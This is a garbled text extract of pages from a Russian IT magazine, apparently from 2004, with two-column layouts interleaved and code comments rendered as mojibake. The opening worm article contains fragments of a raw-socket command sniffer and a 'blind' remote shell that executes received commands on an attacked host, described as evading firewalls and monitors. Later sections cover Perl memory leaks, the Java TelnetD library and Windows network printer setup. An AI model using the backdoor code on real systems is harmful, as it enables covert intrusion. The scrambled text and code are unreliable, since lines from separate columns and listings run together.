// ïðîõîäÿùèå ìèìî íåå // Ìîòàåì öèêë, ïðèíèìàÿ ñ ñîêåòà êîìàíäû, ïîêà åñòü ÷òî ïðèíè-
if (zzz=WSAIoctl(raw_socket,SIO_RCVALL,&optval, ↵ ìàòü
sizeof(optval),0,0,&N,0,0)) return –1; while(1)
{
// ïîëó÷àåì âñå ïàêåòû, ïðèõîäÿùèå íà äàííûé èíòåðôåéñ // ïðèíèìàåì î÷åðåäíóþ ïîðöèþ äàííûõ
while(1) a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);
{
if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) ↵ // åñëè ñîåäèíåíèå íåîæèäàííî çàêðûëîñü, âûõîäèì èç öèêëà
return -1; if (a < 1) break;
…
} // óâåëè÷èâàåì ñ÷åò÷èê êîëè÷åñòâà ïðèíÿòûõ ñèìâîëîâ
// è âíåäðÿåì íà êîíåö ñòðîêè çàâåðøàþùèé íîëü
Откомпилировав sniffer.c, запустите его на атакуемом p += a; buf[p] = 0;
узле с правами администратора и отправьте с узла атаку-
// ñòðîêà ñîäåðæèò ñèìâîë ïåðåíîñà ñòðîêè?
ющего несколько TCP/UDP-пакетов, которые пропускает if ((ch = strpbrk(buf, xEOL)) != 0)
firewall. Смотрите, червь исправно вылавливает их! При- { // äà, ñîäåðæèò
// îòñåêàåì ñèìâîë ïåðåíîñà è î÷èùàåì ñ÷åò÷èê
чем никаких открытых портов на атакуемом компьютере *ch = 0; p = 0;
не добавляется и факт перехвата не фиксируется ни мо-
// åñëè ñòðîêà íå ïóñòà, ïåðåäàåì åå
ниторами, ни локальными брандмауэрами. // êîìàíäíîìó èíòåðïðåòàòîðó íà âûïîëíåíèå
Для разоблачения пассивных слушателей были разра- if (strlen(buf))
{
ботаны специальные методы (краткое описание которых sprintf(cmd, "%s%s", SHELL, buf); ↵
можно найти, например, здесь: http://www.robertgraham.com/ exec(cmd);
} else break; // åñëè ýòî ïóñòàÿ ñòðîêà – âûõîäèì
pubs/sniffing-faq.html), однако практической пользы от них }
никакой, т.к. все они ориентированы на борьбу с длитель- }
ным прослушиванием, а червю для осуществления атаки
требуется не больше нескольких секунд!
Полноценный shell
Организация удаленного shell в UNIX и NT Для комфортного администрирования удаленной систе-
Потребность в удаленном shell испытывают не только ха- мы (равно как и атаки на нее) возможностей «слепого»
керы, но и сами администраторы. Знаете, как неохота shell более чем недостаточно, и неудивительно, если у вас
бывает в дождливый день тащиться через весь город толь- возникнет желание хоть чуточку его улучшить, достигнув
ко затем, чтобы прикрутить фитилек «коптящего» NT-сер- «прозрачного» взаимодействия с терминалом. И это дей-
вера, на ходу стряхивая с себя остатки сна, да собственно ствительно можно сделать! В этом нам помогут каналы
даже не сна, а тех его жалких урывков, в которые в изне- (они же «пайпы» – от английского pipe).
можении погружаешься прямо за монитором… Каналы, в отличие от сокетов, вполне корректно под-
В UNIX-подобных операционных системах shell есть от ключаются к дескрипторам ввода/вывода, и порожденный
рождения, а вот в NT его приходится реализовывать само- процесс работает с ними точно так же, как и со стандарт-
стоятельно. Как это можно сделать? По сети ходит совер- ным локальным терминалом, за тем исключением, что
шенно чудовищный код, перенаправляющий весь ввод/вы- вызовы WriteConsole никогда не перенаправляются в пайм
вод порожденного процесса в дескрипторы non-overlapping- и потому удаленный терминал может работать далеко не
сокетов. Считается, что раз уж non-overlapping-сокеты во со всеми консольными приложениями.
многих отношениях ведут себя так же, как и обычные фай- Корректно написанный shell требует создания как ми-
ловые манипуляторы, операционная система не заменит нимум двух пайпов – один будет обслуживать стандарт-
обмана, и командный интерпретатор будет работать с уда- ный ввод, соответствующий дескриптору hStdInput, дру-
ленным терминалом так же, как и с локальной консолью. гой – стандартный вывод, соответствующий дескрипторам
Может быть (хотя это и крайне маловероятно), в какой-то hStdOutput и hStdError. Дескрипторы самих пайпов обяза-
из версий Windows такой прием и работает, однако на всех тельно должны быть наследуемыми, в противном случае
современных системах порожденный процесс попросту не порожденный процесс просто не сможет до них «дотянуть-
знает, что ему с дескрипторами сокетов собственно делать, ся». А как сделать их наследуемыми? Да очень просто –
и весь ввод/вывод проваливается в тартарары… всего лишь взвести флаг bInheritHandle в состояние TRUE,
передавая его функции CreatePipe вместе со структурой
Слепой shell LPSECURITY_ATTRIBUTES, инициализированной вполне
Если разобраться, то для реализации удаленной атаки естественным образом.
полноценный shell совсем необязателен, и на первых по- Остается подготовить структуру STARTUPINFO, сопо-
рах можно ограничиться «слепой» передачей команд штат- ставив дескрипторы стандартного ввода/вывода наследу-
ного командного интерпретатора (естественно, с возмож- емым каналам, и ни в коем случае не забыть взвести флаг
ностью удаленного запуска различных утилит, и в частно- STARTF_USESTDHANDLES, иначе факт переназначения
сти утилиты calcs, обеспечивающей управление таблица- стандартных дескрипторов будет наглым образом проиг-
ми управления доступа к файлам). норирован.
76
программирование
УТЕЧКИ ПАМЯТИ
В ПРОГРАММАХ НА PERL
Все программисты знают, сколько неприятностей могут доставить утечки памяти, как сложно
бывает локализовать и устранить их причины. И любой, кто работал с Perl, смог по достоинству
оценить систему сборки мусора, которой оснащён интерпретатор этого языка. Она автоматически
заботится об удалении данных, которые больше не понадобятся, и защищает таким образом
от утечек памяти. У программиста может появиться некая иллюзия неограниченной мощи этого
механизма. Но так ли он всемогущ?
АЛЕКСЕЙ МИЧУРИН
78
программирование
Perl – прекрасный язык (и мы сегодня в этом ещё убедим- Наименее громоздким мне представляется следующий
ся), позволяющий программисту весьма кратко выразить объект для исследований:
достаточно ёмкие мысли. Приведу пример программы,
состоящей из одной строки и демонстрирующей утечку 01: #!/usr/bin/perl -w
02:
памяти в Perl: 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
04:
# ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! 05: sub create_ring {
while (1) { my ($a,$b); $a=\$b; $b=\$a } 06: my ($length)=@_;
07: my @ring=({'value' => 0})x$length;
08: for (my $i=0; $i<$length; $i++) {
Если вы решите испытать эту нехитрую программу, то 09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length];
приготовьтесь к тому, что события будут развиваться стре- 10: }
11: return @ring;
мительно. На моей станции она «съедает» всю память за 12: }
доли минуты. 13:
14: while (1) { my @ring=create_ring(10) }
В ней, как вы видите, реализован бесконечный цикл.
В теле цикла созданы две локальные переменные $a и Процедура create_ring создаёт и возвращает массив
$b. Ожидается, что, как и положено локальным перемен- хэшей, каждый из которых имеет два ключа. Под име-
ным, они будут уничтожаться каждый раз по окончании нем «value» хранится некая величина, под именем
выполнения тела цикла, но этого не происходит. Почему? «next_ref» – ссылка на следующий элемент массива.
Причина кроется в устройстве системы сборки мусо- Последний элемент несёт ссылку на первый элемент (но-
ра. Последняя просто ведёт учёт всех ссылок, сделан- мер ноль), зацикливая конструкцию.
ных на переменную. Если переменная вышла из облас- Вызывая её в бесконечном цикле и следя за процес-
ти видимости, но ссылки на неё остались, то данные не сами в системе, легко убедиться, что в приведённой про-
удаляются (хотя имя переменной становится недоступ- грамме есть утечка памяти. Элементы списка, созда-
ным). Это обеспечивает работоспособность всех ссылок, ваемого create_ring, не удаляются по той же причине,
но может ввести в заблуждение систему сборки мусора. что и $a и $b из первого примера: когда выполнение
Обратите внимание, ссылки не анализируются на пред- блока доходит до конца, остаются неудалённые ссылки
мет, будут они удалены в ближайшее время или не бу- на элементы списка (как вы помните, эти ссылки со-
дут. Они подсчитываются все без исключения. держатся в хэшах, составляющих список, под именами
Иллюстрацией к сказанному может послужить абсо- «next_ref»).
лютно «бытовая» ситуация, встречающаяся сплошь и Ситуация не изменится даже в том случае, если чуть
рядом: изменить наш код (привожу только важные и изменён-
ные строки):
my $ref;
{ my $var=1975; $ref=\$var; } ...
# print $var # íåâåðíî, èìÿ $var óæå íå äîñòóïíî 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
print $$ref;
# áóäåò íàïå÷àòàíî '1975', äàííûå íå èñ÷åçëè ...
11: return $ring[0];
...
Как видите, за пределами блока имя $var уже не до- 14: while (1) { my $ring=create_ring(10) }
ступно, но данные, ранее ассоциированные с этим име-
нем, сохранились и будут в сохранности, пока не будет Не поможет и такое изменение:
удалена последняя ссылка на них1.
В нашем однострочном примере переменные $a и ...
03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
$b содержат ссылки друг на друга. Несмотря на то, что ...
их имена становятся не видны сразу по окончании вы- 11: return \@ring;
...
полнения блока, система сборки мусора не удаляет дан- 14: while (1) { my $ring=create_ring(10) }
ные, ассоциированные с ними, неуклонно следуя свое-
му алгоритму: данные считаются «мусором» только в В двух последних примерах по окончании выполнения
том случае, если ссылок на них не осталось. блока мы будем терять ссылку на элемент массива (в
Может быть, кому-то покажется, что подобная ситу- первом) или ссылку на сам массив (во втором), но дан-
ация попахивает надуманностью и встречается редко? ные массива, уже никому не доступные, будут бережно
Отнюдь. Например, у вас может быть массив структур2, сохраняться системой сборки мусора.
описывающих товары, и другой массив структур, опи- Один из способов освободить память – разорвать
сывающих магазины. Структуры, описывающие това- этот круг (вернее, ring) вручную, добавив в конец блока
ры, могут содержать указатели на магазины, а струк- соответствующую инструкцию:
туры, описывающие магазины, могут ссылаться на эле-
менты списка товаров. Вот мы и получили две конст- ...
14: while (1) {
рукции, ссылающиеся друг на друга. Больше того, ре- 15: my $ring=create_ring(10);
ляционные базы данных просто-таки сами подсказыва- 16: $ring->[0]{'next_ref'}=undef;
17: }
ют подобные решения.
Давайте разберёмся, как же решить проблему ути- Одного разрыва вполне достаточно, чтобы система
лизации ненужных данных. сборки мусора один за другим удалила все элементы
80
программирование
рация присвоения автоматически вызывала бы метод ме того, существует великое множество промежуточ-
STORE, а он бы аварийно остановил выполнение про- ных подходов, сочетающих традиционное и объектно-
граммы. ориентированное программирование в разных пропор-
Наконец в строке 44 реализован всё тот же бесконеч- циях. Приводить и обсуждать их все я, конечно, не буду,
ный цикл. На каждом проходе в его теле вновь создаёт- пусть каждый пишет код так, как привык.
ся локальная переменная $ring, но теперь мы связываем Гораздо интереснее задать другой вопрос: насколь-
её с классом MyRing. Благодаря этому по завершении ко надёжна наша защита от утечек памяти? Не будем
блока Perl передаёт управление методу DESTROY, кото- наивны, она тоже небезупречна и болеет теми же бо-
рый корректно освобождает память. лезнями, что и однострочная программа из самого пер-
Таким образом, нам больше не приходится удалять вого листинга.
кольцевую структуру «руками». Мы научили систему Не будем далеко ходить за примером и чуть моди-
сборки мусора обращаться с нашими данными, и Perl фицируем тело цикла из последнего листинга:
теперь сам (...почти) защищает нас от утечек памяти.
Я продемонстрировал предельно мудрёную схему, ...
21: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
можно ли обойтись меньшей кровью? Конечно! В Perl 22: while (1) {
грань объектно-ориентированного программирования 23: my $ring=create_ring(10);
24: my $a;
весьма размыта. Взгляните на следующий код, в нём нет 25: $ring->[0]{'value'}=\$a;
почти ничего, напоминающего о его объектно-ориенти- 26: $a=$ring;
27: }
рованности:
Утечка произошла по той же самой причине, что и
01: #!/usr/bin/perl -w обычно. Когда выполнение блока подходит к концу и на-
02:
03: package MyRing; ступает время собрать мусор, система сборки обнару-
04: живает, что на кольцевую структуру ссылаются две пе-
05: sub main::create_ring {
06: my ($length)=@_; ременных: $ring и $a. Вторую уничтожить не получает-
07: my @ring=({'value' => 0})x$length; ся, потому что на неё имеется ссылка. Где эта ссылка
08: for (my $i=0; $i<$length; $i++) {
09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; находится, система сборки мусора уже не разбирается,
10: } но мы-то знаем, что она содержится в недрах структу-
11: return bless \@ring, __PACKAGE__;
12: } ры $ring. Круг замкнулся, система сборки мусора снова
13: не заметила наш мусор.
14: sub DESTROY {
15: my ($self)=@_; Теперь, я надеюсь, читатель видит и причины воз-
16: $self->[0]{'next_ref'}=undef; никновения проблемы, и пути её решения.
17: }
18: Одним словом, при создании сложных структур дан-
19: package main; ных всегда надо помнить, что Perl не сможет угадать
20:
21: while (1) { my $ring=create_ring(10); } ваши мысли, и чётко представлять, каким образом он
интерпретирует ваши команды.
Обратите внимание, вызов create_ring в основной про-
1
грамме вообще ни чем не выдаёт объектно-ориентиро- Во многих языках, например в Cи, ситуация обрат-
ванную природу переменной $ring. Правда, саму на: данные могут быть удалены автоматически, даже
create_ring нам пришлось чуть доработать, сделав её если на них имеются указатели. Perl же не требует
каким-никаким, а всё-таки конструктором (вызов bless в повышенной аккуратности при работе с указателя-
строке 11), и «экспортировав»5 её в модуль main (имя ми, всегда поддерживая их работоспособными.
2
main::create_ring в строке 5). Конечно, это жаргон, здесь и далее фразы типа
Метод DESTROY остался без изменений. Вызывать- «массив структур» следует понимать как «массив
ся он будет в тех же случаях и обеспечит такие же функ- указателей на структуры».
3
ции, как и в предыдущем примере. В Perl понятия «класс», «модуль» и «пакет» так же
Я бы не стал говорить, что какой-то из двух приве- не разделимы, как и понятия «объект» и «перемен-
дённых методов решения проблемы лучше, а другой ная», «метод» и «функция». Поэтому я не буду при-
хуже. У каждого есть свои преимущества и недостатки. держиваться строгой объектно-ориентированной
Первый длинноват, но код последователен и легко чита- терминологии, в Perl её просто нет.
4
ется. Второй компактен, но менее универсален и его ло- Начиная с версии 5.0.
5
гику понять сложнее (вернее, сложнее разглядеть в нём Конечно, это только имитация настоящего экспор-
объектно-ориентированный подход). Первый код рабо- тирования. Подобный подход не позволит нормаль-
тает чуть медленнее, поскольку переменная связана. но использовать модуль MyRing в других модулях,
Второй работает чуть быстрее, но допускает выполне- но я не хотел бы здесь уделять чрезмерное внима-
ние бессмысленных действий, например: ние созданию модулей в Perl, и мой код демонстри-
рует не хорошие манеры при написании модулей, а
$ring=7; предельно компактное решение.
82
программирование
ant jar + TelnetD.getReference().getVersion() + CRLF);
termIO.flush();
При компиляции будут выданы предупреждения об ис- while (true) {
пользовании устаревшего (deprecated) метода java.lang. // Âûâîäèì ïîäñêàçêó
termIO.write(CRLF
Thread.stop(), которые могут быть безболезненно проиг- + "Press [i] for information," + CRLF
норированы. В результате компиляции в каталоге build + "[x] for exit," + CRLF + "[s] for shutdown"
+ CRLF + CRLF);
будет создан файл telnetd.jar. (Обратите внимание на его termIO.flush();
малый размер. В моем случае – всего 86060 байт.) // Æäåì ââîäà îò ïîëüçîâàòåëÿ
Теперь скопируем все файлы из каталога src\net\ int ch = termIO.read();
wimpi\telnetd\resources в каталог build, в нем выполним // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì
команду: switch (ch) {
case 120: // x - çàâåðøåíèå ñåàíñà
termIO.write("Goobye!");
java -classpath telnetd.jar net.wimpi.telnetd.TelnetD termIO.flush();
connection.close();
return;
которая запустит сервер TelnetD на выполнение в демон-
страционном режиме, и попытаемся установить соеди- case 115: // s - îñòàíîâ ñåðâåðà
termIO.write("Requiescat in pace!");
нение с сервером с помощью команды: termIO.flush();
TelnetD.getReference().setServing(false);
TelnetD.getReference().shutdown();
telnet localhost 6666 System.exit(0);
return;
Voila! Наш сервер работает. case 105: // i - èíôîðìàöèÿ î ñåðâåðå è ñåàíñå
// Ïîëó÷àåì äàííûå î ñîåäèíåíèè
ConnectionData data =
Пример использования TelnetD connection.getConnectionData();
Как было сказано выше, для встраивания TelnetD в про- // Âûâîäèì äàííûå íà ýêðàí
грамму необходимо создать свой класс для интерпрета- termIO.write("Additional info:" + CRLF);
тора командной строки. Этот класс должен реализовывать termIO.write("Connected from: "
+ data.getHostName()
интерфейс Shell из пакета net.wimpi.telnetd.shell. + " [" + data.getHostAddress() + ":"
Следует отметить, что интерфейс Shell является рас- + data.getPort() + "]" + CRLF);
termIO.write("Guessed locale: "
ширением интерфейса ConnectionListener из пакета net. + data.getLocale() + CRLF);
wimpi.telnetd.net. А это значит, что интерпретатор команд- termIO.write("Negotiated terminal type: "
+ data.getNegotiatedTerminalType() + CRLF);
ной строки должен предоставлять методы, реагирующие termIO.write("Scrolling support: "
на события соединения. + (termIO.getTerminal().supportsScrolling() ?
"yes" : "no") + CRLF);
Мы создадим максимально простой интерпретатор, termIO.write("Graphics rendition support: "
который будет ждать ввода пользователем какого-либо + (termIO.getTerminal().supportsSGR() ?
"yes" : "no") + CRLF);
символа и выполнять соответствующее действие. Набор termIO.write("Negotiated columns: "
действий невелик – это выдача дополнительной инфор- + data.getTerminalColumns() + CRLF);
termIO.write("Negotiated rows: "
мации о сеансе, завершение сеанса и останов сервера. + data.getTerminalRows() + CRLF);
Итак, код: termIO.write("Login shell: "
+ data.getLoginShell() + CRLF);
termIO.flush();
package telnetdtest; break;
}
import net.wimpi.telnetd.*; }
import net.wimpi.telnetd.io.*; }
import net.wimpi.telnetd.net.*;
import net.wimpi.telnetd.shell.*; // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: òàéìàóò
public void connectionTimedOut(ConnectionEvent ce) {
public class Test1Shell implements Shell { termIO.write("*** Connection timedout" + CRLF);
termIO.flush();
// Ñîçäàíèå ýêçåìïëÿðà èíòåðïðåòàòîðà êîìàíäíîé ñòðîêè connection.close();
// (îáîëî÷êè). Ýòîò ìåòîä, õîòÿ è íå îïèñàí â èíòåðôåéñå }
// Shell, äîëæåí áûòü ðåàëèçîâàí, òàê êàê îí
// èñïîëüçóåòñÿ ìåíåäæåðîì îáîëî÷åê äëÿ ñîçäàíèÿ // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: áåçäåéñòâèå
// ýêçåìïëÿðà êîíêðåòíîé îáîëî÷êè public void connectionIdle(ConnectionEvent ce) {
public static Shell createShell() { termIO.write("*** Connection idle" + CRLF);
return new Test1Shell(); termIO.flush();
} }
84
программирование
и, наконец, вызвать метод getValue() для получения ре- termIO.write(CRLF + "Your input: " + CRLF
зультатов работы компонента. + editfield.getValue() + CRLF);
termIO.flush();
Пассивные компоненты – это метка (класс Label), стро-
ки заголовка (класс Titlebar) и статуса (класс Statusbar). break;
Для пассивного компонента после создания и настройки case 1: // äåìîíñòðàöèÿ âîçìîæíîñòåé
параметров необходимо вызывать метод draw(), что при- // ìíîãîñòðî÷íîãî ðåäàêòîðà
termIO.eraseScreen();
ведет к отображению компонента. termIO.homeCursor();
Посмотрим некоторые из этих компонентов в деле. Для termIO.write("Editarea demo" + CRLF
+ "-------------" + CRLF);
этого изменим код метода run(…) в интерпретаторе из
первого примера. Теперь он выглядит так: final int MAX_EDITAREA_ROWS = 4;
Во многих крупных организациях используется сетевая печать. В этой статье будет рассмотрен
круг вопросов, касающихся обеспечения сетевой печати в Windows-доменах, функционирующих
на основе протокола TCP/IP. Статья состоит из 2 частей: в первой части описан процесс установки
сетевого принтера в домене Windows, во второй – обеспечение автоматизированного подключения
принтера к пользователю.
ИВАН КОРОБКО
88
образование
Сетевой принтер ря на это самым популярным способом подключения яв-
Любой сетевой принтер представляет собой печатающее ляется сетевое соединение.
устройство, снабженное сетевым аппаратным обеспече-
нием, а именно: сетевой картой, дополнительной памя- Соглашение об именах
тью, а в некоторых случаях жестким диском для буфери- Имя должно содержать как можно больше информации
зации больших документов. Для обеспечения связи эти о принтере, и при этом быть удобным для использова-
принтеры используют протоколы, поддерживаемые ва- ния. На рабочих станциях под управлением операцион-
шей сетью, как правило, таким транспортным протоко- ной системы Windows, пользователь имеет дело с двумя
лом является TCP/IP, и имеют собственные IP-адреса. именами – именем принтера и сетевым именем. Имя
Сетевой принтер имеет веб-интерфейс, позволяющий принтера – это имя, назначаемое принтеру во время ус-
быстро и просто удаленно менять настройки печатающе- тановки. Длина имени ограничивается 220 символами.
го устройства. Сетевое имя назначается принтеру для использования в
Соединение локальных принтеров с сетью может быть сети. Максимальная длина сетевого имени составляет
реализовано с помощью Jet Direct. Jet Direct – это устрой- 80 символов, хотя его не рекомендуется делать длиннее
ство, преобразующее LPT/USB-интерфейс в сетевой. С 8 символов для обеспечения совместимости с клиента-
помощью этого устройства к сети может быть подключе- ми MS-DOS и Windows 3.x. Некоторые приложения не
но несколько принтеров. могут работать с принтерами, у которых полное состав-
Сетевые принтеры чаще всего используются с серве- ное имя (имя компьютера, объединенное с сетевым име-
рами печати, но могут функционировать и самостоятель- нем принтера по шаблону \\Server_Name\Printer_Share_
но в сети, что экономично, поскольку не требует приобре- Name) длиннее 31 символа.
тения сервера. Чаще всего имя, назначаемое принтеру, представля-
Тем не менее, если нет сервера, формирующего оче- ет собой реальное имя принтера с порядковым номером,
редь печати, то каждый пользователь создает свою соб- если есть несколько принтеров одинаковой модели, на-
ственную очередь печати и не может видеть, где его пример, HP LaserJet 2300 (1), HP LaserJet 2300 (2). Такой
документ находится относительно других документов в способ именования рекомендуется использовать в не-
глобальной очереди принтера. Из-за отсутствия единой больших организациях. В крупных корпорациях принцип
очереди печати невозможно централизованное управ- именования принтеров может быть другим. Например,
ление заданиями. Только пользователь, документ ко- названия могут быть даны по именам отделов и офисов,
торого в настоящее время печатается на принтере, в где территориально находится принтер, например, «Крас-
случае ошибки печати может ее видеть. Наконец, пред- нодар ОКС» или «Ростов АТС-34».
варительная печать документов осуществляется на ра- Сетевое имя, как отмечено ранее, должно быть бо-
бочей станции пользователя, что увеличивает нагруз- лее коротким, но при этом не должно терять смысловой
ку на нее. нагрузки. Оно чаще всего представляет собой общую ха-
По этим причинам желательно наличие сервера печа- рактеристику принтера, например, HP2300_1.
ти при работе с сетевыми принтерами.
Установка и настройка сетевого
Сервер печати принтера
Сервер печати – это компьютер, который управляет связя-
ми между принтерами и рабочими станциями в сети, жела- Теория
ющими воспользоваться предоставляемыми услугами. Для подключения принтера, имеющего USB- или LPT-ин-
В сетях, построенных на основе Microsoft Windows, в терфейс к сети, необходимо использовать JetDirect, кото-
качестве сервера печати может быть использован Windows рый представляет собой небольшой компьютер, снабжен-
2000 Professional или Windows 2000 Server. В качестве ный сетевой платой, оперативной памятью, имеющий про-
сервера выгоднее использовать Windows 2000 Server, по- граммное обеспечение – веб-интерфейс, с помощью ко-
скольку Windows 2000 Professional поддерживает всего торого осуществляется настройка.
лишь 10 подключений одновременно и не может осуще- В принтере, имеющем встроенный сетевой интерфейс,
ствлять поддержку клиентов Macintosh или NetWare, если находится компьютер, в котором присутствует оператив-
таковые имеются в сети. ная память, жесткий диск для обеспечения буферизации
Принтеры могут соединяться с сервером печати либо заданий и более сложное программное обеспечение, до-
по сети, либо напрямую – через параллельный интер- ступ к которому также осуществляется через веб-интер-
фейс, хотя второй вариант менее предпочтителен, по- фейс или через панель управления на принтере.
скольку требует значительных затрат процессорного вре- Перед тем как начать установку принтера на сервере
мени на обслуживание порта и физически «привязыва- печати, необходимо выполнить настройку сетевого интер-
ет» печатающее устройство к серверу, т.к. кабель, со- фейса принтера. Настройку удобнее всего производить
единяющий LPT-порты сервера и принтера, имеет огра- через веб-интерфейс.
ничения по длине. Доступ к веб-интерфейсу принтера осуществляется
Принтеры, соединяющиеся с сервером печати через с помощью любого браузера (Internet Explorer, Opera или
USB или IEE1394 (FireWire), позволяют уменьшить нагруз- Netscape Navigator) по IP-адресу или по сетевому име-
ку на процессор и увеличить скорость печати, но несмот- ни принтера. Некоторые принтеры имеют заводскую
90
образование
Постановка задачи адаптером JetDirect. Воспользовавшись любым браузе-
Необходимо подключить принтер HP LaserJet 1200 с по- ром, например, Internet Explorer, войдите на веб-интер-
мощью сетевого интерфейса к серверу печати. Обеспе- фейс принтера, вводя к адресной строке IP-адрес, при-
чить сетевому принтеру статическое выделение IP-адре- веденный в листе конфигурации сетевого принтера, в
са 192.168.2.1 службой DHCP. Опубликовать принтер в данном случае JetDitect.
Active Directory и создать две группы, определяющие раз- С помощью веб-интерфейса необходимо выключить
личный уровень доступа к принтеру и очереди печати (см. все протоколы, кроме TCP/IP. Протокол TCP/IP следует
теоретическую часть). настроить так, чтобы IP-адрес сетевой адаптер получал
от службы DHCP, и назначить сетевое имя принтера (host
Практика name) в соответствии с поставленной задачей и приня-
Принтер HP LaserJet 1200 имеет два интерфейса – LPT и тым соглашением о именах – HP1200_1 (см. рис. 1). На
USB. Для подключения принтера к сети необходимо ис- этом настройка сетевого интерфейса принтера с помо-
пользовать JetDirect, который преобразует один из ин- щью веб-интерфейса завершена.
терфейсов в сетевой. После соединения принтера к Следующим этапом установки сетевого принтера в
JetDirect и подключения получившегося сетевого прин- сети является резервирование для него IP-адреса. Для
тера к сети, необходимо вывести на печать конфигура- того чтобы зарезервировать IP-адреса в службе DHCP,
ционный лист. выделите папку «Reservation» и, нажав правую кнопку
Для этого нажмите на корпусе JetDirect соответству- на этой папке, выберете пункт меню «New Reservation».
ющую кнопку. Анализируя конфигурационный лист, не- Появится окно (см. рис. 2), в котором необходимо ука-
обходимо определить IP-адрес, который получен сетевым зать имя, IP-адрес и MAC-адрес принтера.
Ðèñóíîê 1
Ðèñóíîê 3
Ðèñóíîê 2
После настройки службы DHCP и веб-интерфейса мож-
но приступить к установке сетевого принтера на сервере
печати. Принтер устанавливается как локальный, с той раз-
ницей, что он подключается к стандартному порту TCP/IP.
Порт имеет два параметра – имя и IP-адрес. Имя порта
образуется исходя из IP-адреса: IP_xxx.xxx.xxx.xxx. Однако
рекомендуется сделать так, чтобы имя порта совпадало с
сетевым именем принтера. Этот шаг упростит админист-
рирование принтера в будущем. Для установки принтера
на сервере печати необходимо выполнить следующее:
! Щелкнуть по кнопке Start, выбрать команду Settings,
затем щелкнуть на Printers, чтобы открыть папку Ðèñóíîê 4
Printers; ! Выберите устанавливаемый принтер из списка. В том
! Дважды щелкнуть на значок Add Printers, чтобы запус- случае если драйвера принтера не являются стандар-
тить мастер установки принтера; тными, нажмите на кнопку Have Disk… и укажите путь
! Щелкните по кнопке Next, чтобы мастер Add Printer к драйверу;
Wizard начал работу; ! После установки драйвера в появившемся окне Printer
! В появившемся окне предлагается сделать выбор спо- Sharing выберите опцию Share As для того, чтобы сде-
соба подключения принтера – в качестве локального лать принтер доступным для других пользователей
или сетевого. Необходимо выбрать опцию Local Printer сети, и укажите сетевое имя принтера в соответствии
(локальный принтер) и удалить флажок из поля Auto- с принятым соглашением об именах, например,
matically Detect My Printer (автоматическое определе- HP1200_1 (см. рис. 5). Щелкните по кнопке Next;
ние принтера); ! Введите локальное имя принтера (см. рис. 6) и запол-
! В следующем окне необходимо выбрать тип порта. Вы- ните поля, характеризующие принтер, например, его
берите опцию Create A New Port (создать новый порт), местоположение. Локальное имя принтера также дол-
а в раскрывающемся списке – Standard Port TCP/IP жно удовлетворять принятому соглашению об именах,
(стандартный порт TCP/IP). После этого Windows 2000 например, HP LaserJet 1200 (1);
запустит мастер Add Standard TCP/IP Printer Port Wizard; ! По окончании установки принтера вам будет предло-
! В появившемся окне необходимо ввести IP-адрес и на- жено распечатать тестовую страницу.
звание порта в соответствии с поставленной задачей
(см. рис. 3). Необходимо помнить, что желательно, что- На этом настройка принтера не закончена: необходи-
бы принтер был подключен к сети, т.к. после создания мо определить параметры безопасности принтера, для
порта Windows пытается соединиться с принтером, и в этого в Active Directory необходимо создать две группы
случае возникновения ошибки связи будет запрошена безопасности. Члены одной из этих групп смогут только
дополнительная информация (см. рис. 4). После ус- печатать на этом принтере, члены другой – управлять
пешного соединения с принтером мастер Add Standard всей очередью печати и состоянием принтера. В соот-
TCP/IP Printer Port Wizard заканчивает свою работу; ветствии с принятыми правилами наименования групп
92
образование
(см. раздел «Теория») первая группа будет называться удалить группу Everyone (все), т.к. в противном случае
HP1200-Print, вторая – HP1200-Print Managers. Посколь- принтер будет подключаться ко всем пользователям сети,
ку в средних и крупных организациях используется не- и добавить две группы безопасности, соответствующие
сколько сетевых принтеров, то в AD рекомендуется со- данному принтеру, в данном случае HP1200_1-Print и
здать OU, например, Network Printers, в котором будут HP1200_1-Print Managers. Для группы HP1200_1-Print
находиться OU, названия которых совпадают с названи- необходимо установить в разделе Permissions (разреше-
ями принтеров. В каждом из этих OU будет содержаться ния) флажок напротив свойства Print (см. рис .8), а для
три объекта – сетевой принтер, опубликованный в AD, и группы HP1200_1-Print Managers – флажки напротив Print
две группы безопасности, определяющие уровень дос- (печать) и Manage Documents (управление документами).
тупа к принтеру (см. рис. 7). Наличие такой структуры Ставить флажок напротив Manage Printers не рекомен-
позволяет реализовать автоматизированное подключе- дуется, поскольку управление принтерами подразумева-
ние сетевых принтеров тем пользователям, которые име- ет возможность изменять свойства принтера, удалять
ют права работать с этим принтером. его. По мнению автора, такими привилегиями может об-
ладать только системный администратор.
Ðèñóíîê 7
Ðèñóíîê 5
Ðèñóíîê 8
На этом установка и настройка сетевого принтера за-
вершены.
В следующей статье будет описан процесс создания
Ðèñóíîê 6 сценария, который, основываясь на данных AD, будет во
После окончания настройки нужно выполнить на- время регистрации пользователя в сети обеспечивать
стройку безопасности принтера. Для этого необходимо автоматическое подключение/отключение принтеров в
войти в свойства принтера на сервере печати во вклад- зависимости от членства в соответствующих группах бе-
ку Security (безопасность). В этой вкладке необходимо зопасности.
94
подписка на II полугодие 2004
Российская Федерация ! Узбекистан – по каталогу «Davriy nashrlar» российские
! Подписной индекс: 81655 издания через агентство по распространению печати
Каталог агентства «Роспечать» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Подписной индекс: 87836 5/3, офис 33)
Объединенный каталог «Пресса России» ! Азербайджан – по объединенному каталогу российс-
Адресный каталог «Подписка за рабочим столом» ких изданий через предприятие по распространению
Адресный каталог «Библиотечный каталог» печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Альтернативные подписные агентства: ! Армения – по списку номенклатуры «АРЗИ» через
